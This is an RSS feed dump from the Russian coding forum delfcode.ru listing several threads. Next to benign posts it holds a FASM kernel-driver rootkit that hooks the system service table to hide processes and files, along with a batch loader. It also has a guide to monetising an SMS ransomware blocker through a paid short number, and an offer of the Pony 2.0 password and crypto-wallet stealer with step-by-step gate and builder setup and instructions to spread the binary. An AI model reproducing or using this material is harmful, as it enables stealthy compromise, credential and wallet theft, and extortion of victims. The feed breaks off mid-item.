<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>delfcode</title>
<link>https://delfcode.ru/forum/</link>
<description>delfcode</description>
<lastBuildDate>Sat, 23 Apr 2016 19:17:32 GMT</lastBuildDate>
<generator>uCoz Web-Service</generator>
<item>
<title>Есть кто живой?</title>
<link>https://delfcode.ru/forum/28-1468-1</link>
<pubDate>Sat, 23 Apr 2016 19:17:32 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: ramzeswr&lt;br /&gt;Автор последнего сообщения: XSPY&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Давно не наблюдаю активности на форуме. Есть кто живой тут? &lt;img src=&quot;http://s5.ucoz.net/sm/23/cry.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;cry&quot; /&gt;</content:encoded>
<category>Свободное общение</category>
<dc:creator>ramzeswr</dc:creator>
<guid>https://delfcode.ru/forum/28-1468-1</guid>
</item>
<item>
<title>[FASM] Cкрыть процесс, файл, директорию.</title>
<link>https://delfcode.ru/forum/35-954-1</link>
<pubDate>Sun, 17 Apr 2016 16:54:19 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/35&quot;&gt;Остальные языки программирования&lt;/a&gt;&lt;br /&gt;Автор темы: Marra_Kesh&lt;br /&gt;Автор последнего сообщения: AligatorBkmz&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>&lt;span style=&quot;font-size:6pt;&quot;&gt;&lt;a class=&quot;link&quot; href=&quot;http://u.to/zVu0Ag&quot; title=&quot;http://cyberdays.ru/kak-skryt-processfajldirektoriyu&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Copy/ Paste&lt;/a&gt;&lt;/span&gt; &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerGZ1VCb&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerGZ1VCb&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerGZ1VCb&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerGZ1VCb&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerGZ1VCb&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerGZ1VCb&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerGZ1VCb&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerGZ1VCb&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerGZ1VCb&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;format pe native &lt;br /&gt; section &apos;&apos; readable writeable executable &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;entry $ &lt;br /&gt; mov eax,&amp;#91;esp+4] &lt;br /&gt; mov dword &amp;#91;eax+0x34],DriverUnload &lt;br /&gt;&lt;br /&gt; mov eax,&amp;#91;KeServiceDescriptorTable] &lt;br /&gt; mov ecx,&amp;#91;eax+8] &lt;br /&gt; mov eax,&amp;#91;eax] &lt;br /&gt; mov edx,&amp;#91;NtQuerySystemInformation] &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;list1: &lt;br /&gt;&lt;br /&gt; cmp edx,&amp;#91;eax+ecx*4-4] &lt;br /&gt; jz listed1 &lt;br /&gt; loop list1 &lt;br /&gt;&lt;br /&gt; jmp exit &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listed1: &lt;br /&gt; lea eax,&amp;#91;eax+ecx*4-4] &lt;br /&gt; mov &amp;#91;adres1],eax &lt;br /&gt;&lt;br /&gt; mov dword &amp;#91;eax],hook1 &lt;br /&gt;&lt;br /&gt; mov eax,&amp;#91;KeServiceDescriptorTable] &lt;br /&gt; mov ecx,&amp;#91;eax+8] &lt;br /&gt; mov eax,&amp;#91;eax] &lt;br /&gt; mov edx,&amp;#91;NtQueryDirectoryFile] &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;list2: &lt;br /&gt;&lt;br /&gt; cmp edx,&amp;#91;eax+ecx*4-4] &lt;br /&gt; jz listed2 &lt;br /&gt; loop list2 &lt;br /&gt;&lt;br /&gt; jmp exit &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listed2: &lt;br /&gt; lea eax,&amp;#91;eax+ecx*4-4] &lt;br /&gt; mov &amp;#91;adres2],eax &lt;br /&gt;&lt;br /&gt; mov dword &amp;#91;eax],hook2 &lt;br /&gt;&lt;br /&gt; exit: &lt;br /&gt; xor eax,eax &lt;br /&gt; retn 8 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DriverUnload: &lt;br /&gt; mov ecx,&amp;#91;NtQuerySystemInformation] &lt;br /&gt; mov edx,&amp;#91;adres1] &lt;br /&gt; mov &amp;#91;edx],ecx &lt;br /&gt;&lt;br /&gt; mov ecx,&amp;#91;NtQueryDirectoryFile] &lt;br /&gt; mov edx,&amp;#91;adres2] &lt;br /&gt; mov &amp;#91;edx],ecx &lt;br /&gt; retn 4 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hook1: &lt;br /&gt; cmp dword &amp;#91;esp+4],5 &lt;br /&gt; jne wrong1 &lt;br /&gt;&lt;br /&gt; mov esi,&amp;#91;esp+8] &lt;br /&gt; mov edi,&amp;#91;esp] &lt;br /&gt; mov dword &amp;#91;esp],procedure1 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wrong1: &lt;br /&gt; jmp &amp;#91;NtQuerySystemInformation] &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure1: &lt;br /&gt; test eax,eax &lt;br /&gt; jnz err1 &lt;br /&gt;&lt;br /&gt; jmp next1 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;query1: &lt;br /&gt; add esi,&amp;#91;esi] &lt;br /&gt;&lt;br /&gt; cmp &amp;#91;esi+60],eax &lt;br /&gt; je next1 &lt;br /&gt;&lt;br /&gt; mov edx,&amp;#91;esi+60] &lt;br /&gt; cmp dword &amp;#91;edx],0x00240024 &lt;br /&gt; jne next1 &lt;br /&gt;&lt;br /&gt; mov edx,&amp;#91;esi] &lt;br /&gt; test edx,edx &lt;br /&gt; jz zero1 &lt;br /&gt; add &amp;#91;ebx],edx &lt;br /&gt; jmp keep1 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;zero1: &lt;br /&gt; mov &amp;#91;ebx],eax &lt;br /&gt; jmp keep1 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next1: &lt;br /&gt; mov ebx,esi &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;keep1: &lt;br /&gt;&lt;br /&gt; cmp &amp;#91;esi],eax &lt;br /&gt; jnz query1 &lt;br /&gt;&lt;br /&gt; err1: &lt;br /&gt; jmp edi &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hook2: &lt;br /&gt; cmp dword &amp;#91;esp+32],3 &lt;br /&gt; jne wrong2 &lt;br /&gt;&lt;br /&gt; mov esi,&amp;#91;esp+24] &lt;br /&gt; mov edi,&amp;#91;esp] &lt;br /&gt; mov dword &amp;#91;esp],procedure2 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wrong2: &lt;br /&gt; jmp &amp;#91;NtQueryDirectoryFile] &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure2: &lt;br /&gt; test eax,eax &lt;br /&gt; jnz err2 &lt;br /&gt;&lt;br /&gt; jmp next2 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;query2: &lt;br /&gt; add esi,&amp;#91;esi] &lt;br /&gt;&lt;br /&gt; cmp dword &amp;#91;esi+94],0x00240024 &lt;br /&gt; jne next2 &lt;br /&gt;&lt;br /&gt; mov edx,&amp;#91;esi] &lt;br /&gt; test edx,edx &lt;br /&gt; jz zero2 &lt;br /&gt; add &amp;#91;ebx],edx &lt;br /&gt; jmp keep2 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;zero2: &lt;br /&gt; mov &amp;#91;ebx],eax &lt;br /&gt; jmp keep2 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next2: &lt;br /&gt; mov ebx,esi &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;keep2: &lt;br /&gt;&lt;br /&gt; cmp &amp;#91;esi],eax &lt;br /&gt; jnz query2 &lt;br /&gt;&lt;br /&gt; err2: &lt;br /&gt; jmp edi &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;adres1 rd 1 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;adres2 rd 1 &lt;br /&gt;&lt;br /&gt; section &apos;&apos; import readable &lt;br /&gt; dd RVA ntoskrnl_table,0,0,RVA ntoskrnl_name,RVA ntoskrnl_table &lt;br /&gt; dd 0,0,0,0,0 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ntoskrnl_table: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;KeServiceDescriptorTable dd RVA _KeServiceDescriptorTable &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NtQuerySystemInformation dd RVA _NtQuerySystemInformation &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NtQueryDirectoryFile dd RVA _NtQueryDirectoryFile &lt;br /&gt; dd 0 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ntoskrnl_name db &apos;ntoskrnl.exe&apos;,0 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_KeServiceDescriptorTable db 0,0,&apos;KeServiceDescriptorTable&apos;,0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_NtQuerySystemInformation db 0,0,&apos;NtQuerySystemInformation&apos;,0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_NtQueryDirectoryFile db 0,0,&apos;NtQueryDirectoryFile&apos;,0 &lt;br /&gt;&lt;br /&gt; section &apos;&apos; fixups discardable&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; .bat файл для запуска &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerfy9YdA&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerfy9YdA&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerfy9YdA&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerfy9YdA&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerfy9YdA&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerfy9YdA&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerfy9YdA&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerfy9YdA&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerfy9YdA&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;@echo off &lt;br /&gt; set a=&quot;%random%%random%%random%&quot; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sc create %a% type= kernel binPath= &quot;%cd%&amp;#92;test.sys&quot; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sc start %a% &lt;br /&gt; echo: &lt;br /&gt; echo Press ANY key to unload Driver &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pause&gt;nul &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sc stop %a% &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sc delete %a% &lt;br /&gt; echo: &lt;br /&gt; pause&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; &lt;div align=&quot;center&quot;&gt;&lt;img src=&quot;https://delfcode.ru/_fr/9/2930963.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt;&lt;/div&gt; &lt;br /&gt;&lt;br /&gt; На Win8 не сработала. Интересно поЩАму?</content:encoded>
<category>Остальные языки программирования</category>
<dc:creator>Marra_Kesh</dc:creator>
<guid>https://delfcode.ru/forum/35-954-1</guid>
</item>
<item>
<title>[C/C++] Драйвер - сниффер</title>
<link>https://delfcode.ru/forum/35-1041-1</link>
<pubDate>Mon, 04 Apr 2016 07:41:36 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/35&quot;&gt;Остальные языки программирования&lt;/a&gt;&lt;br /&gt;Описание темы: Драйвер - сниффер&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Всем привет,кто-нибудь видел исходник драйвера-сниффера для отлова сетевых пакетов???</content:encoded>
<category>Остальные языки программирования</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/35-1041-1</guid>
</item>
<item>
<title>Как получить короткий номер смс для блокера БЕСПЛАТНО!</title>
<link>https://delfcode.ru/forum/28-303-1</link>
<pubDate>Mon, 07 Dec 2015 19:27:09 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Описание темы: Тут я раскажу как получить короткий номер для смс блокера!!!&lt;br /&gt;Автор темы: cool1&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>И так читаем: &lt;br /&gt; 1)Вам нужен кошелек в WebMoney &lt;br /&gt; 2)Вам нужен вирь блокер (если его нет читаем тут https://delfcode.ru/forum/10-105-1) &lt;br /&gt; 3)Сайт хоть на бесплатном хостинге но с инфой! &lt;br /&gt; Вот теперь: &lt;br /&gt; 1)Регаемся тут http://smsbil.ru &lt;br /&gt; 2)Создаем смс капилку для сайта &lt;br /&gt; 3)В капилке в поле ответном сообщение пишем код для активации просто цифры без слов!!! &lt;br /&gt; 4)Плюс в http://smsbil.ru там номер и текст для отправки смс не меняется ( как в некоторых) &lt;br /&gt; 5)Устанавливаем копилку на сайт! &lt;br /&gt; 6)Сайт можно создать на этом бесплатном хостинге ну и залить мутью http://narod.ru &lt;br /&gt; 7)Главное пройти проверку модером! &lt;br /&gt; 8)Вставляем код и номер в блокер! &lt;br /&gt; 9)Все =)))) &lt;br /&gt; 10)Если вам понравилась моя статья то пишите + в рейтинг! я буду этому рад =))) Вот ссыла на мой профайл https://delfcode.ru/index/8-5732</content:encoded>
<category>Свободное общение</category>
<dc:creator>cool1</dc:creator>
<guid>https://delfcode.ru/forum/28-303-1</guid>
</item>
<item>
<title>Собрание видеоуроков быдлокодеров для поднятия настроения</title>
<link>https://delfcode.ru/forum/28-1025-1</link>
<pubDate>Tue, 17 Nov 2015 20:48:48 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 18</description>
<content:encoded>Всем привет! Вот пришла мне идея сюда выкладывать ссылки на видеоуроки от школоты всякой в целях поднятия настроения &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; Я,например,вот что нашёл &lt;a class=&quot;link&quot; href=&quot;http://u.to/WkskAw&quot; title=&quot;http://www.youtube.com/watch?v=swAEcc9JX4Q&quot; target=&quot;_blank&quot;&gt;как написать программу на delphi&lt;/a&gt;</content:encoded>
<category>Свободное общение</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/28-1025-1</guid>
</item>
<item>
<title>Pony 2.0 + Open Source</title>
<link>https://delfcode.ru/forum/13-1430-1</link>
<pubDate>Thu, 22 Oct 2015 16:37:55 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/13&quot;&gt;Программы&lt;/a&gt;&lt;br /&gt;Описание темы: Pony 2.0 + Open Source&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;a class=&quot;link&quot; href=&quot;http://u.to/BInKDA&quot; title=&quot;http://hostingkartinok.com/show-image.php?id=797d7921702acadb66e83b876bebee69&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://s8.hostingkartinok.com/uploads/images/2015/10/797d7921702acadb66e83b876bebee69.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt;&lt;/a&gt;&lt;br /&gt;Всем привет, заметил что много и часто люди не могут найти рабочий стиллер. Так как всем известный UFR умер. Вот выкладываю вам пони самую новую версию. Ворует пороли почти от всего где они есть =D Ниже будет список. Огромный полюсы этого стиллера что он очень просто очень редко не варует пароли из 100 зараженных может быть 1 холостой ) И еще особенность которая вас очень удивит и подбодрит, стиллер после запуска жертвы, остается в системе и если жертва сохраняет новые пароли они приходят к вам на gate, уже без запуска стиллера. Так же имеется лаодер. Но один нюанс, отправка паролей происходит только на php gate, скрины тоже будут ниже и полное описание. Подробности установки описывать не буду не осудите уж. Кому нужно тот умеет. Если уж что то будет не выходить можно в ютубе название стиллера написать, там будет пару уроков. Ну или уже на совсем крайний случай напишите мне в лс. Собираем пароли из: FAR Manager, Total Commander, WS_FTP, CuteFTP, FlashFXP, FileZilla, FTP Commander, BulletProof FTP, SmartFTP, TurboFTP, FFFTP, CoffeeCup FTP, CoreFTP, FTP Explorer, Frigate3 FTP, SecureFX, UltraFXP, FTPRush, WebSitePublisher, BitKinex, ExpanDrive, ClassicFTP, Fling, SoftX, Directory Opus, FreeFTP, DirectFTP (определяется как FreeFTP), LeapFTP, WinSCP, 32bit FTP, NetDrive, WebDrive, FTP Control, Opera, WiseFTP, FTP Voyager, Firefox, FireFTP, SeaMonkey, Flock, Mozilla Suite Browser, LeechFTP, Odin Secure FTP Expert, WinFTP, FTP Surfer, FTPGetter, ALFTP, Internet Explorer, Dreamweaver, DeluxeFTP, Google Chrome, Chromium, SRWare Iron (определяется как Chromium), ChromePlus, Bromium (Yandex Chrome), Nichrome, Comodo Dragon, RockMelt, K-Meleon, Epic, Staff-FTP, AceFTP, Global Downloader, FreshFTP, BlazeFTP, NETFile, GoFTP, 3D-FTP, Easy FTP, Xftp, FTP Now, Robo-FTP, LinasFTP, Cyberduck, Putty, Notepad++ (NppFTP), CoffeeCup Visual Site Designer, CoffeeCup Sitemapper (определяется как CoffeeCup FTP), FTPShell, FTPInfo, NexusFile, FastStone Browser, CoolNovo, WinZip, Yandex.Internet, MyFTP, sherrod FTP, NovaFTP, Windows Mail, Windows Live Mail, Pocomail, Becky!, IncrediMail, The Bat!, Outlook, Thunderbird, FastTrackFTP, Я.Браузер, Bitcoin, Electrum, MultiBit, FTP Disk.&lt;br /&gt;&lt;br /&gt;1. Реализован сбор кошельков Bitcoin для оригинального клиента, а также Electrum, MultiBit, Litecoin, Namecoin, Terracoin, Bitcoin Armory, PPCoin (Peercoin), Primecoin, Feathercoin, NovaCoin, Freicoin, Devcoin, Frankocoin, ProtoShares, MegaCoin, Quarkcoin, Worldcoin, Infinitecoin, Ixcoin, Anoncoin, BBQcoin, Digitalcoin, Mincoin, Goldcoin, Yacoin, Zetacoin, Fastcoin, I0coin, Tagcoin, Bytecoin, Florincoin, Phoenixcoin, Luckycoin, Craftcoin, Junkcoin &lt;br /&gt;2. Реализован сбор паролей из Я.Браузер, FTP Disk, новых версий Opera (основанных на коде Chrome) &lt;br /&gt;3. При работе программы от имени пользователя SYSTEM (сервиса Windows) лоадер теперь будет запускать файл с правами активной сессии (залогиненного) пользователя &lt;br /&gt;4. Доработан сбор паролей Firefox, теперь не зависит от наличия библиотек SQLite3 &lt;br /&gt;5. Опциональный резервный режим загрузчика: если успешно загружен первый файл - остальные будут пропущены &lt;br /&gt;6. Добавлена возможность отключить сбор паролей (оставить только лоадер) &lt;br /&gt;7. Исправлен процессинг SQLite3 файлов для Chrome / Firefox содержащих 48 bit integers &lt;br /&gt;8. Исправлен серьезный баг в нескольких функциях, который мог приводить к ошибкам при сборе паролей и вылету программы &lt;br /&gt;&lt;br /&gt;КАК НАСТРОИТЬ: &lt;br /&gt;&lt;br /&gt;1. Для начала нам нужно взять бесплатный хостинг, советую всем попробовать beget.ru (там есть бесплатный тариф + скорость передачи файлов FTP больше чем у hostinger) &lt;br /&gt;2. Создаем базу данных (БД) &lt;br /&gt;3. Загрузим файлы из папки &quot;Panel&quot;,которая находится в архиве с программой, на наш хостинг. Для быстрой загрузки советую воспользоваться FileZilla — бесплатный FTP клиент &lt;br /&gt;4. Изменим содержание файла config.php, внеся данные нашего БД &lt;br /&gt;5. Теперь перейдём по адресу &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/BYnKDA&quot; title=&quot;http://yousite.ru/setup.php,&quot; rel=&quot;nofollow&quot;&gt;http://yousite.ru/setup.php,&lt;/a&gt; где увидим окошко установщика. Придумаем и введём логин и пароль для нашей админки&lt;br /&gt;&lt;a class=&quot;link&quot; href=&quot;http://u.to/A4nKDA&quot; title=&quot;http://hostingkartinok.com/show-image.php?id=6cc3cafb4f507aaf6cb05436bb7fb570&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://s8.hostingkartinok.com/uploads/images/2015/10/6cc3cafb4f507aaf6cb05436bb7fb570.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt;&lt;/a&gt;&lt;br /&gt;6. Жмём &quot;Install&quot; и видим надпись о том, что установка завершена и мы можем перейти в панель администрирования&lt;br /&gt;&lt;a class=&quot;link&quot; href=&quot;http://u.to/AYnKDA&quot; title=&quot;http://hostingkartinok.com/show-image.php?id=56a01dfdf7a46f316ceabe83c7c67886&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://s8.hostingkartinok.com/uploads/images/2015/10/56a01dfdf7a46f316ceabe83c7c67886.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt;&lt;/a&gt;&lt;br /&gt;7. Переходим на вкладку &quot;Управление&quot;, выбираем пункт &quot;Параметры сервера&quot; и придумываем пароль для того, чтобы мы могли в дальнейшем расшифровать отчёты (которые Пони шифрует). Всё с виртуальной частью мы закончили&lt;br /&gt;&lt;a class=&quot;link&quot; href=&quot;http://u.to/AInKDA&quot; title=&quot;http://hostingkartinok.com/show-image.php?id=748e5a1717c85ce7f4ae8c71ef749608&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://s8.hostingkartinok.com/uploads/images/2015/10/748e5a1717c85ce7f4ae8c71ef749608.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt;&lt;/a&gt;&lt;br /&gt;8. Переходим в папку с нашим билдером и запускаем PonyBuilder.exe&lt;br /&gt;&lt;a class=&quot;link&quot; href=&quot;http://u.to/BonKDA&quot; title=&quot;http://hostingkartinok.com/show-image.php?id=b765e32f13edd9e119000b5aafe2278c&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://s8.hostingkartinok.com/uploads/images/2015/10/b765e32f13edd9e119000b5aafe2278c.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt;&lt;/a&gt;&lt;br /&gt;9. Во вкладке &quot;Билдер&quot; прописываем путь до гейта &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/B4nKDA&quot; title=&quot;http://yousitu.ru/gate.php&quot; rel=&quot;nofollow&quot;&gt;http://yousitu.ru/gate.php&lt;/a&gt; (как показано на постере к новости) 10. Затем можно добавить во вкладку &quot;Лоадер&quot;, ссылки на файлы которые будут загружаться после запуска программы. Затем жмем &quot;создать билд&quot; и раскидываем созданный файл .exe всем!&lt;br /&gt;10. Затем можно добавить во вкладку &quot;Лоадер&quot;, ссылки на файлы которые будут загружаться после запуска программы. Затем жмем &quot;создать билд&quot; и раскидываем созданный файл .exe всем!&lt;br /&gt;&lt;br /&gt;&lt;a class=&quot;link&quot; href=&quot;http://u.to/AonKDA&quot; title=&quot;https://www.sendspace.com/file/akmczy&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать/Download&lt;/a&gt;</content:encoded>
<category>Программы</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/13-1430-1</guid>
</item>
<item>
<title>Послать ответ на капчу direct.yandex.ru/search</title>
<link>https://delfcode.ru/forum/21-1427-1</link>
<pubDate>Sat, 10 Oct 2015 18:32:28 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/21&quot;&gt;Интернет и сети&lt;/a&gt;&lt;br /&gt;Автор темы: mrDenFox&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Все привет.Капчу я скачал, а что дальше, как отправить ответ?&lt;br /&gt;Вот пример как я делаю:&lt;br /&gt;idhttp1.get(&apos;http://direct.yandex.ru/search/?captcha_id=&apos;+Parsing(&apos;image?key=&quot;&apos;,a,&apos;&quot;&apos;)+&apos;&amp;&lt;br /&gt;captcha_code=&apos;+Edit1.Text) или&lt;br /&gt;PostData:= TStringList.Create;&lt;br /&gt;PostData.Add(&apos;captcha_code=&apos;+Edit1.Text);&lt;br /&gt;idhttp1.post(&apos;http://direct.yandex.ru/search/&apos;,postdata);&lt;br /&gt;правильно? но почему-то не срабатывает</content:encoded>
<category>Интернет и сети</category>
<dc:creator>mrDenFox</dc:creator>
<guid>https://delfcode.ru/forum/21-1427-1</guid>
</item>
<item>
<title>Запрет обновления windows 8 до windows 8.1</title>
<link>https://delfcode.ru/forum/28-1311-1</link>
<pubDate>Mon, 21 Sep 2015 14:44:21 GMT</pubDate>
